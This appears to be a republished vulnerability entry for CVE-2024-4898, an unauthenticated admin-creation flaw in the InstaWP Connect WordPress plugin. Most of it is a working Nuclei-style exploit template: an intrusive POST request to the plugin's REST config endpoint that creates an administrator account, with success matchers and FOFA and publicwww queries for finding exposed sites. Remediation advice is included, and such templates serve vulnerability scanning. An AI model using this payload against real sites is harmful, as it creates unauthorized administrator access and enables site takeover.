The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary option updates due to a missing authorization checks on the REST API calls in all versions up to, and including, 0.1.0.38. This makes it possible for unauthenticated attackers to connect the site to InstaWP API, edit arbitrary site options and create administrator accounts.
PoC代码[已公开]
id: CVE-2024-4898
info:
name: WordPress InstaWP Connect <= 0.1.0.38 - Unauthenticated User Creation
author: Sourabh-Sahu
severity: critical
description: |
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary option updates due to a missing authorization checks on the REST API calls in all versions up to, and including, 0.1.0.38. This makes it possible for unauthenticated attackers to connect the site to InstaWP API, edit arbitrary site options and create administrator accounts.
remediation: |
Update InstaWP Connect to version 0.1.0.39 or later, which patches this vulnerability.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/92a00fb4-7b50-43fd-ac04-5d6e29336e9c?source=cve
- https://plugins.trac.wordpress.org/browser/instawp-connect/tags/0.1.0.38/includes/class-instawp-rest-api.php#L926
- https://nvd.nist.gov/vuln/detail/CVE-2024-4898
- https://github.com/truonghuuphuc/CVE-2024-4898-Poc
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-4898
cwe-id: CWE-862
epss-score: 0.88614
epss-percentile: 0.99483
cpe: cpe:2.3:a:instawp:instawp_connect:*:*:*:*:*:wordpress:*:*
metadata:
vendor: instawp
product: instawp_connect
framework: wordpress
publicwww-query: "/wp-content/plugins/instawp-connect/"
fofa-query: body="/wp-content/plugins/instawp-connect/"
tags: cve,cve2024,wp,wp-plugin,wordpress,instawp,intrusive,priv-esc,vkev
variables:
username: "{{rand_base(6)}}"
password: "{{rand_base(8)}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
api_key: "{{api_key}}"
http:
- raw:
- |
POST /wp-json/instawp-connect/v1/config HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"api_key": "{{api_key}}",
"wp": {
"users": [
{
"username": "{{username}}",
"email": "{{email}}",
"password": "{{password}}"
}
]
}
}
matchers-condition: and
matchers:
- type: word
words:
- '"status":true'
- '"connect_id":'
- '"message":"Connected"'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100b413d2a747d63dde791e703176eb66fa99d1aad6f5d50d39b40cc32bee0ec66b022100de1f173672bfc39a15c7dc707374cfa00014849ce83671f3c549d29909e70c80:922c64590222798bb761d5b6d8e72950